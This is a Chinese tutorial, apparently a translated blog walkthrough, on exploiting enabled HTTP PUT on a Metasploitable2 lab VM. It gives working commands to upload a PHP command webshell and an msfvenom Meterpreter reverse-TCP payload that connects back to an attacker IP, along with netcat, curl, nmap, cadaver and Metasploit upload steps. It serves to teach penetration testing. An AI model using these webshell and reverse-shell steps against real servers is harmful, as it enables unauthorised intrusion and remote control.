导语:在本文中,我们将会利用metasploitable2靶机上的HTTP PUT漏洞。通过此漏洞你可以轻而易举的向服务器上传恶意文件,并可以在meterpreter shell中获得整个服务器的访问权限。

HTTP PUT方法利用

在本文中,我们将会利用metasploitable2靶机上的HTTP PUT漏洞。通过此漏洞你可以轻而易举的向服务器上传恶意文件,并可以在meterpreter shell中获得整个服务器的访问权限。

上一篇文章我们讲过了如何使用Curl,Nmap和OpenSSL来测试HTTP方法。如果服务器启用了HTTP PUT方法,我们就可以利用它来上传指定的资源到目标服务器上,比如webshell或者恶意软件。

基本要求

· Metasploitable2 vm虚拟机–https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

· 攻击者kali VM虚拟机–https://www.kali.org/downloads/

· 漏洞路径–http://192.168.179.142/dav/

· 攻击者IP–192.168.179.141 

HEAD,GET,POST,CONNECT,这些方法是完全安全的,至少就HTTP方法本身而言是安全的。当然了,虽然请求本身可能也会有恶意参数,但参数跟方法是分离的,所以通常而言只应该启用这些方法。

PUT,DELETE这些方法最初是用来进行文件管理的。然而一些web服务器保留了最初的配置,依然支持这些方法。如此一来,你就可以任意修改或删除服务器文件系统中的文件了。

显然,如果启用了这些方法,你就容易遭到文件上传漏洞的攻击。

另外,如果你有业务需求必须启用这些方法,那么应该严格限制文件访问权限。

OPTIONS方法,这是一个判断方法,返回消息主要用于调试或者检查服务器其他方法是否启用。

TRACE方法,这个方法比较出乎意料,它是响应体中返回的判断方法,即整个HTTP请求。这包括请求体,也包括请求头,比如cookies和认证头等。

进入正题

识别HTTP服务器最简单最基本的形式就是查看HTTP响应头中色server字段。可以使用Netcat客户端发送HTTP请求来获取服务器的HTTP响应头。

Netcat绝对是一个神器,只要是有关TCP和UDP的都能使用Netcat。它可以打开TCP连接,发送UDP数据包,监听任意的TCP和UDP端口,进行端口扫描等。

在Debain系统上安装Netcat的命令是  “sudo apt-get install netcat”

使用Netcat来检测web服务器上启用了哪些方法,只要输入如下命令即可:

nc 192.168.179.142 80
OPTIONS /dav/ HTTP/1.1
Host: 192.168.179.142

按两次回车!

1.png

观察一下响应头字段可以发现启用了一些危险的方法,比如DELETE,TRACE,PROPFING,COPY,MOVE,LOCK和UNLOCK。

下面我们就来演示一下利用HTTP PUT方法的7种方法。

1.Netcat利用PUT方法

使用Netcat方法十分简单,输入下面几条命令即可:

nc 192.168.179.142 80
PUT /dav/hacked.txt HTTP/1.1
Host: 192.168.179.142

按两次回车!

2.png

可以看到hacked.txt文件已经成功创建,状态码是201,文件创建位置为/dav/目录。

2.BurpSuite利用PUT方法

众所周知,Burp是一款代理拦截神器,通过抓包,可以分析所有的GET和POST请求。

Burp是专门用来测试web应用的图形化工具。它是使用Java编写的,由PortSwigger安全团队开发。

Burp工具的功能模块包括Proxy,Scanner,Intruder,Spider,Repeater,Decoder,Comparer,Extender和Sequencer。

首先设置浏览器代理,访问http://192.168.179.142/dav/,抓包拦截请求,然后右击选择发送到Repeater模块。

3.png

查看下面的截图,你会发现左右连个面板,左边是请求,右边是响应。

现在我们来替换GET方法为PUT方法,上传一个yeahhub.php文件,文件里包含的是恶意内容或代码。

4.png

在请求头中输入PUT /dav/yeahhub.php HTTP/1.1,这将会通过PUT请求上传yeahhub.php文件到dav目录下。

然后在请求体中粘贴一下恶意代码。

<?php
system($_GET[‘cmd’]);
?>

在上面的截图中,可以看到响应状态码是201,这就意味着包含恶意代码的yeahhub.php文件已经成功上传。

验证一下,在浏览器地址栏中输入http://192.168.179.142/dav/yeahhub.php?cmd=uname-a,就能看到系统的内核版本。

5.png

Nikto扫描HTTP方法

Nikto是另一个开源的web扫描器,它可以对web服务器进行全面测试,包括6700个潜在的危险文件和程序,检查超过1250台服务器的过期版本和270台以上服务器版本的特定问题。

使用nikto扫描,只需在终端中输入“nikto -h http://192.168.179.142/dav/

6.png

可以看到,高亮部分显示了多种HTTP方法是启用的。

3.Cadaver和Metasploit框架利用PUT方法

现在是时候上传恶意PHP文件来攻击服务器了,恶意文件我们将借助msfvenom命令来生成。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php

7.png

可以看到恶意文件shell.php已经上传到服务器当前工作目录了。

扩展阅读:msfvenom所有payload示例

现在运行Cadaverer,这个工具已经默认安装在每一台kali上。

Cadaver是一款命令行工具,支持通过webdav协议来上传和下载文件。

使用Cadaver的命令是:

cadaver http://192.168.179.142/dav/“

现在你已经进入到目标机器的工作目录了。上传msfvenom生成的shell.php文件,如下所示

dav:/dav/> PUT /root/shell.php

8.png

验证一下文件是否成功上传,浏览器中输入“http://192.168.179.142/dav/“。

9.png

下一步是启动metasploit框架,然后使用 multi/handler利用脚本,如下所示:

10.png

使用multi/handlerexploit,在终端中输入以下命令:

use exploit/multi/handler
set LHOST 192.168.179.141
set LPORT 4444
set payload php/metrepreter/reverse_tcp
exploit

11.png

可以看到,反向TCP处理程序已经运行在192.168.179.141的4444端口上了,现在只要你访问shell.php,你就能获得TCP反向连接的Meterpreter shell会话了。

拓展阅读:通过wan利用metasploit远程攻击win10(无端口转发)

12.png

输入”sysinfo”来查看靶机的系统信息。当然,meterpreter会话中还有很多有用的命令,你们可以自行探索。

拓展阅读:meterpreter命令top60

Meterpreter是一种高级的,动态扩展的payload,它使用内存DLL注入stagers并且在运行时通过网络来进行扩展。通过stager套接字进行通信并且提供全面的客户端Ruby API。它还有历史命令,tab补全等功能。

4.Nmap利用PUT方法

如果服务器开启了PUT方法,你也可以用Nmap来上传恶意文件(Nmap是一款开源的端口扫描器和web漏洞利用工具)。

使用Nmap上传恶意文件命令:

nmap -p 80 192.168.179.142 -script http-put -script-args http-put.url ='/ dav / yeahhub_nmap.php',http-put.file ='/ root / Desktop / yeahhub_nmap.php'

14.png

如图所示,yeahhub_nmap.php已经成功上传到/dav/目录下。

5.Metasploit利用PUT方法

Metasploit的辅助模块auxiliary/scanner/http/http_put模块也能上传文件。

这个模块也就是HTTP_PUT也可以充分利用配置不当的web服务器,通过PUT和DELETE方法来上传和删除服务器上的文件和内容。

命令如下:

use auxiliary/scanner/http/http_put

15.png

设置ACTION为PUT或DELETE。默认是PUT。如果没有指定文件名,该模块会随机生成字符串作为文件a.txt。如果设置为DELETE,那就需要指定文件名。

命令如下:

set RHOSTS 192.168.179.142
set path /dav/
set payload php/meterpreter/reverse_tcp
set filename yeah.php
set filedata file://root/Desktop/yeah.php
exploit

16.png

如图所示,yeah.php文件已经成功上传到web服务器中,路径是http://192.168.179.142/dav/yeah.php

6.CURL利用PUT方法

CURL也是一款很强大的命令行工具,可以使用各种协议进行传输数据。

使用CURL利用PUT方法的命令是

curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “YOUR TEXT HERE” http://192.168.179.142/dav/youhacked.php

17.png

可以看到,youhacked.php已经成功创建,验证也非常简单,只要访问http://192.168.179.142/dav/youhacked.php.即可。

18.png

你也可以通过下列命令来浏览文件路径:

curl -i -X PUT -H “Content-Type: application/xml; charset=utf-8″ -d @”/root/Desktop/file.php” http://192.168.179.142/dav/file.php

19.png

7.QuickPuT脚本利用PUT方法

QuickPut是python写的命令行工具,你可以利用该脚本通过HTTP PUT方法来上传文件到服务器。

下载QuickPut脚本,请参考informesh.net.

20.png

QuickPut语法格式:

python QuickPut.py <本地文件> <目标URL>

使用QuickPut,你只需要在终端下输入以下命令:

python QuickPut.py /root/Desktop/file.php http://192.168.179.142/dav/chetan_soni.php

21.png

源链接

Hacking more

...